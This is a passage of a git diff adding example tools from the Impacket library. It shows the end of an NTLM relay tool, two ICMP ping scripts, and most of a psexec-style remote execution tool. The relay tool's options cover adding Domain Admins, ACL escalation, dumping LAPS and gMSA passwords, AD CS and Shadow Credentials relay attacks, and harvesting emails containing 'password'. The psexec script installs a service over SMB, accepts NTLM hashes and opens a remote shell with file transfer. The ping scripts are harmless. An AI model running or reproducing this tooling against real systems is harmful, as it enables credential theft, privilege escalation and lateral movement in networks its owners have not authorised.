+ ' in the same directory). For RPC no output will be provided.') + + #SMB arguments + smboptions = parser.add_argument_group("SMB client options") + + smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' + 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') + smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') + + #RPC arguments + rpcoptions = parser.add_argument_group("RPC client options") + rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') + rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') + rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', + help='Use this credential to authenticate to SMB (low-privilege account)') + rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") + rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') + + #MSSQL arguments + mssqloptions = parser.add_argument_group("MSSQL client options") + mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' + '(can specify multiple)') + + #HTTPS options + httpoptions = parser.add_argument_group("HTTP options") + httpoptions.add_argument('-machine-account', action='store', required=False, + help='Domain machine account to use when interacting with the domain to grab a session key for ' + 'signing, format is domain/machine_name') + httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", + help='Domain machine hashes, format is LMHASH:NTHASH') + httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') + httpoptions.add_argument('-remove-target', action='store_true', default=False, + help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') + + #LDAP options + ldapoptions = parser.add_argument_group("LDAP client options") + ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') + ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') + ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') + ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') + ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') + ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account') + ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') + ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') + ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') + ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') + ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') + ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account') + + #IMAP options + imapoptions = parser.add_argument_group("IMAP client options") + imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' + 'If not specified, will search for mails containing "password"') + imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') + imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' + 'dump all emails') + imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' + '(0 = unlimited, default: no limit)') + + # AD CS options + adcsoptions = parser.add_argument_group("AD CS attack options") + adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') + adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') + adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') + + # Shadow Credentials attack options + shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") + shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False, + help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)') + shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from') + shadowcredentials.add_argument('--pfx-password', action='store', required=False, + help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)') + shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", " PFX"], type=lambda choice: choice.upper(), default="PFX", + help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') + shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + + try: + options = parser.parse_args() + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + if options.rpc_use_smb and not options.auth_smb: + logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") + sys.exit(1) + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + # Let's register the protocol clients we have + # ToDo: Do this better somehow + from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS + from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS + + + if options.codec is not None: + codec = options.codec + else: + codec = sys.getdefaultencoding() + + if options.target is not None: + logging.info("Running in relay mode to single host") + mode = 'RELAY' + targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) + # Disabling multirelay feature (Single host + general candidate) + if targetSystem.generalCandidates: + options.no_multirelay = True + else: + if options.tf is not None: + #Targetfile specified + logging.info("Running in relay mode to hosts in targetfile") + targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) + mode = 'RELAY' + else: + logging.info("Running in reflection mode") + targetSystem = None + mode = 'REFLECTION' + + if not options.no_smb_server: + RELAY_SERVERS.append(SMBRelayServer) + + if not options.no_http_server: + RELAY_SERVERS.append(HTTPRelayServer) + try: + options.http_port = parse_listening_ports(options.http_port) + except ValueError: + logging.error("Incorrect specification of port range for HTTP server") + sys.exit(1) + + if options.r is not None: + logging.info("Running HTTP server in redirect mode") + + if not options.no_wcf_server: + RELAY_SERVERS.append(WCFRelayServer) + + if not options.no_raw_server: + RELAY_SERVERS.append(RAWRelayServer) + + if targetSystem is not None and options.w: + watchthread = TargetsFileWatcher(targetSystem) + watchthread.start() + + threads = set() + socksServer = None + if options.socks is True: + # Start a SOCKS proxy in the background + socksServer = SOCKS() + socksServer.daemon_threads = True + socks_thread = Thread(target=socksServer.serve_forever) + socks_thread.daemon = True + socks_thread.start() + threads.add(socks_thread) + + c = start_servers(options, threads) + + print("") + logging.info("Servers started, waiting for connections") + try: + if options.socks: + shell = MiniShell(c, threads) + shell.cmdloop() + else: + sys.stdin.read() + except KeyboardInterrupt: + pass + else: + pass + + if options.socks is True: + socksServer.shutdown() + del socksServer + + for s in threads: + del s + + sys.exit(0) diff --git a/examples/ping.py b/examples/ping.py new file mode 100644 index 0000000..9e8a1c5 --- /dev/null +++ b/examples/ping.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Simple ICMP ping. +# +# This implementation of ping uses the ICMP echo and echo-reply packets +# to check the status of a host. If the remote host is up, it should reply +# to the echo probe with an echo-reply packet. +# Note that this isn't a definite test, as in the case the remote host is up +# but refuses to reply the probes. +# Also note that the user must have special access to be able to open a raw +# socket, which this program requires. +# +# Authors: +# Gerardo Richarte (@gerasdf) +# Javier Kohen +# +# Reference for: +# ImpactPacket: IP, ICMP, DATA +# ImpactDecoder +# + +import select +import socket +import time +import sys + +from impacket import ImpactDecoder, ImpactPacket + +if len(sys.argv) < 3: + print("Use: %s " % sys.argv[0]) + sys.exit(1) + +src = sys.argv[1] +dst = sys.argv[2] + +# Create a new IP packet and set its source and destination addresses. + +ip = ImpactPacket.IP() +ip.set_ip_src(src) +ip.set_ip_dst(dst) + +# Create a new ICMP packet of type ECHO. + +icmp = ImpactPacket.ICMP() +icmp.set_icmp_type(icmp.ICMP_ECHO) + +# Include a 156-character long payload inside the ICMP packet. +icmp.contains(ImpactPacket.Data(b"A"*156)) + +# Have the IP packet contain the ICMP packet (along with its payload). +ip.contains(icmp) + +# Open a raw socket. Special permissions are usually required. +s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) +s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + +seq_id = 0 +while 1: + # Give the ICMP packet the next ID in the sequence. + seq_id += 1 + icmp.set_icmp_id(seq_id) + + # Calculate its checksum. + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + # Send it to the target host. + s.sendto(ip.get_packet(), (dst, 0)) + + # Wait for incoming replies. + if s in select.select([s], [], [], 1)[0]: + reply = s.recvfrom(2000)[0] + + # Use ImpactDecoder to reconstruct the packet hierarchy. + rip = ImpactDecoder.IPDecoder().decode(reply) + # Extract the ICMP packet from its container (the IP packet). + ricmp = rip.child() + + # If the packet matches, report it to the user. + if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): + print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) + + time.sleep(1) diff --git a/examples/ping6.py b/examples/ping6.py new file mode 100644 index 0000000..91af15d --- /dev/null +++ b/examples/ping6.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Simple ICMP6 ping. +# +# This implementation of ping uses the ICMP echo and echo-reply packets +# to check the status of a host. If the remote host is up, it should reply +# to the echo probe with an echo-reply packet. +# Note that this isn't a definite test, as in the case the remote host is up +# but refuses to reply the probes. +# Also note that the user must have special access to be able to open a raw +# socket, which this program requires. +# +# Authors: +# Alberto Solino (@agsolino) +# +# Reference for: +# ImpactPacket: ICMP6 +# ImpactDecoder +# + +import select +import socket +import time +import sys + +from impacket import ImpactDecoder, IP6, ICMP6, version + +print(version.BANNER) + +if len(sys.argv) < 3: + print("Use: %s " % sys.argv[0]) + sys.exit(1) + +src = sys.argv[1] +dst = sys.argv[2] + +# Create a new IP packet and set its source and destination addresses. + +ip = IP6.IP6() +ip.set_ip_src(src) +ip.set_ip_dst(dst) +ip.set_traffic_class(0) +ip.set_flow_label(0) +ip.set_hop_limit(64) + +# Open a raw socket. Special permissions are usually required. +s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) + +payload = b"A"*156 + +print("PING %s %d data bytes" % (dst, len(payload))) +seq_id = 0 +while 1: + # Give the ICMP packet the next ID in the sequence. + seq_id += 1 + icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) + + # Have the IP packet contain the ICMP packet (along with its payload). + ip.contains(icmp) + ip.set_next_header(ip.child().get_ip_protocol_number()) + ip.set_payload_length(ip.child().get_size()) + icmp.calculate_checksum() + + # Send it to the target host. + s.sendto(icmp.get_packet(), (dst, 0)) + + # Wait for incoming replies. + if s in select.select([s], [], [], 1)[0]: + reply = s.recvfrom(2000)[0] + + # Use ImpactDecoder to reconstruct the packet hierarchy. + rip = ImpactDecoder.ICMP6Decoder().decode(reply) + + # If the packet matches, report it to the user. + if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): + print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) + + time.sleep(1) diff --git a/examples/psexec.py b/examples/psexec.py new file mode 100644 index 0000000..f86fc65 --- /dev/null +++ b/examples/psexec.py @@ -0,0 +1,682 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCE/RPC and SMB. +# + +import sys +import os +import re +import cmd +import logging +from threading import Thread, Lock +import argparse +import random +import string +import time +from six import PY3 + +from impacket.examples import logger +from impacket import version, smb +from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5 import transport +from impacket.structure import Structure +from impacket.examples import remcomsvc, serviceinstall +from impacket.examples.utils import parse_target +from impacket.krb5.keytab import Keytab + +CODEC = sys.stdout.encoding + +class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid,pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + raise Exception('Pipe not ready, aborting') + + fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) + + return fid + + def doStuff(self, rpctransport): + + dce = rpctransport.get_dce_rpc() + try: + dce.connect() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.critical(str(e)) + sys.exit(1) + + global dialect + dialect = rpctransport.get_smb_connection().getDialect() + + try: + unInstalled = False + s = rpctransport.get_smb_connection() + + # We don't wanna deal with timeouts from now on. + s.setTimeout(100000) + if self.__exeFile is None: + installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName) + else: + try: + f = open(self.__exeFile, 'rb') + except Exception as e: + logging.critical(str(e)) + sys.exit(1) + installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) + + if installService.install() is False: + return + + if self.__exeFile is not None: + f.close() + + # Check if we need to copy a file for execution + if self.__copyFile is not None: + installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) + # And we change the command to be executed to this filename + self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command + + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) + + packet = RemComMessage() + pid = os.getpid() + + packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) + if self.__path is not None: + packet['WorkingDir'] = self.__path + packet['Command'] = self.__command + packet['ProcessID'] = pid + + s.writeNamedPipe(tid, fid_main, packet.getData()) + + # Here we'll store the command we type so we don't print it back ;) + # ( I know.. globals are nasty :P ) + global LastDataSent + LastDataSent = '' + + # Create the pipes threads + stdin_pipe = RemoteStdInPipe(rpctransport, + r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), + smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) + stdin_pipe.start() + stdout_pipe = RemoteStdOutPipe(rpctransport, + r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stdout_pipe.start() + stderr_pipe = RemoteStdErrPipe(rpctransport, + r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stderr_pipe.start() + + # And we stay here till the end + ans = s.readNamedPipe(tid,fid_main,8) + + if len(ans): + retCode = RemComResponse(ans) + logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( + self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + installService.uninstall() + if self.__copyFile is not None: + # We copied a file for execution, let's remove it + s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) + unInstalled = True + sys.exit(retCode['ErrorCode']) + + except SystemExit: + raise + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + if unInstalled is False: + installService.uninstall() + if self.__copyFile is not None: + s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) + sys.stdout.flush() + sys.exit(1) + + +class Pipes(Thread): + def __init__(self, transport, pipe, permissions, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.daemon = True + + def connectPipe(self): + try: + lock.acquire() + global dialect + #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) + self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + if self.transport.get_kerberos() is True: + self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) + else: + self.server.login(user, passwd, domain, lm, nt) + lock.release() + self.tid = self.server.connectTree('IPC$') + + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) + self.server.setTimeout(1000000) + except: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + + +class RemoteStdOutPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + + global LastDataSent + + if PY3: + __stdoutOutputBuffer, __stdoutData = b"", b"" + + while True: + try: + stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + if stdout_ans != LastDataSent: + if len(stdout_ans) != 0: + # Append new data to the buffer while there is data to read + __stdoutOutputBuffer += stdout_ans + + promptRegex = rb'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' + + endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) + if endsWithPrompt == True: + # All data, we shouldn't have encoding errors + # Adding a space after the prompt because it's beautiful + __stdoutData = __stdoutOutputBuffer + b" " + # Remainder data for next iteration + __stdoutOutputBuffer = b"" + + # print("[+] endsWithPrompt") + # print(" | __stdoutData:",__stdoutData) + # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) + elif b'\n' in __stdoutOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stdoutOutputBuffer.split(b"\n") + # All lines, we shouldn't have encoding errors + __stdoutData = b"\n".join(lines[:-1]) + b"\n" + # Remainder data for next iteration + __stdoutOutputBuffer = lines[-1] + # print("[+] newline in __stdoutOutputBuffer") + # print(" | __stdoutData:",__stdoutData) + # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) + + if len(__stdoutData) != 0: + # There is data to print + try: + sys.stdout.write(__stdoutData.decode(CODEC)) + sys.stdout.flush() + __stdoutData = b"" + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' + 'again with -codec and the corresponding codec') + print(__stdoutData.decode(CODEC, errors='replace')) + __stdoutData = b"" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = b"" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except: + pass + else: + __stdoutOutputBuffer, __stdoutData = "", "" + + while True: + try: + stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + if stdout_ans != LastDataSent: + if len(stdout_ans) != 0: + # Append new data to the buffer while there is data to read + __stdoutOutputBuffer += stdout_ans + + promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' + + endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) + if endsWithPrompt: + # All data, we shouldn't have encoding errors + # Adding a space after the prompt because it's beautiful + __stdoutData = __stdoutOutputBuffer + " " + # Remainder data for next iteration + __stdoutOutputBuffer = "" + + elif '\n' in __stdoutOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stdoutOutputBuffer.split("\n") + # All lines, we shouldn't have encoding errors + __stdoutData = "\n".join(lines[:-1]) + "\n" + # Remainder data for next iteration + __stdoutOutputBuffer = lines[-1] + + if len(__stdoutData) != 0: + # There is data to print + sys.stdout.write(__stdoutData.decode(CODEC)) + sys.stdout.flush() + __stdoutData = "" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = "" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except Exception as e: + pass + + +class RemoteStdErrPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + + if PY3: + __stderrOutputBuffer, __stderrData = b'', b'' + + while True: + try: + stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + if len(stderr_ans) != 0: + # Append new data to the buffer while there is data to read + __stderrOutputBuffer += stderr_ans + + if b'\n' in __stderrOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stderrOutputBuffer.split(b"\n") + # All lines, we shouldn't have encoding errors + __stderrData = b"\n".join(lines[:-1]) + b"\n" + # Remainder data for next iteration + __stderrOutputBuffer = lines[-1] + + if len(__stderrData) != 0: + # There is data to print + try: + sys.stdout.write(__stderrData.decode(CODEC)) + sys.stdout.flush() + __stderrData = b"" + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' + 'again with -codec and the corresponding codec') + print(__stderrData.decode(CODEC, errors='replace')) + __stderrData = b"" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = b"" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except Exception as e: + pass + else: + __stderrOutputBuffer, __stderrData = '', '' + + while True: + try: + stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + if len(stderr_ans) != 0: + # Append new data to the buffer while there is data to read + __stderrOutputBuffer += stderr_ans + + if '\n' in __stderrOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stderrOutputBuffer.split("\n") + # All lines, we shouldn't have encoding errors + __stderrData = "\n".join(lines[:-1]) + "\n" + # Remainder data for next iteration + __stderrOutputBuffer = lines[-1] + + if len(__stderrData) != 0: + # There is data to print + sys.stdout.write(__stderrData.decode(CODEC)) + sys.stdout.flush() + __stderrData = "" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = "" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except: + pass + + +class RemoteShell(cmd.Cmd): + def __init__(self, server, port, credentials, tid, fid, share, transport): + cmd.Cmd.__init__(self, False) + self.prompt = '\x08' + self.server = server + self.transferClient = None + self.tid = tid + self.fid = fid + self.credentials = credentials + self.share = share + self.port = port + self.transport = transport + self.intro = '[!] Press help for extra shell commands' + + def connect_transferClient(self): + #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + if self.transport.get_kerberos() is True: + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, + kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) + else: + self.transferClient.login(user, passwd, domain, lm, nt) + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + lput {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + lget {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + ! {cmd} - executes a local shell cmd +""" % (self.share, self.share)) + self.send_data('\r\n', False) + + def do_shell(self, s): + os.system(s) + self.send_data('\r\n') + + def do_lget(self, src_path): + try: + if self.transferClient is None: + self.connect_transferClient() + + import ntpath + filename = ntpath.basename(src_path) + fh = open(filename,'wb') + logging.info("Downloading %s\\%s" % (self.share, src_path)) + self.transferClient.getFile(self.share, src_path, fh.write) + fh.close() + except Exception as e: + logging.critical(str(e)) + pass + + self.send_data('\r\n') + + def do_lput(self, s): + try: + if self.transferClient is None: + self.connect_transferClient() + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + pathname = f.replace('/','\\') + logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) + if PY3: + self.transferClient.putFile(self.share, pathname, fh.read) + else: + self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) + fh.close() + except Exception as e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + os.chdir(s) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + return + + def default(self, line): + if PY3: + self.send_data(line.encode(CODEC)+b'\r\n') + else: + self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n') + + def send_data(self, data, hideOutput = True): + if hideOutput is True: + global LastDataSent + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + +class RemoteStdInPipe(Pipes): + def __init__(self, transport, pipe, permisssions, share=None): + self.shell = None + Pipes.__init__(self, transport, pipe, permisssions, share) + + def run(self): + self.connectPipe() + self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) + self.shell.cmdloop() + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at ' + 'the target (w/o path) - (default:cmd.exe)') + parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, ' + 'arguments are passed in the command option') + parser.add_argument('-path', action='store', help='path of the command to execute') + parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") + parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + group.add_argument('-service-name', action='store', metavar="service_name", default = '', help='The name of the service' + ' used to trigger the payload') + group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will ' + 'be the name of the executable uploaded on the target') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.codec is not None: + CODEC = options.codec + else: + if CODEC is None: + CODEC = 'utf-8' + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) + options.k = True + + if options.target_ip is None: + options.target_ip = remoteName + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + command = 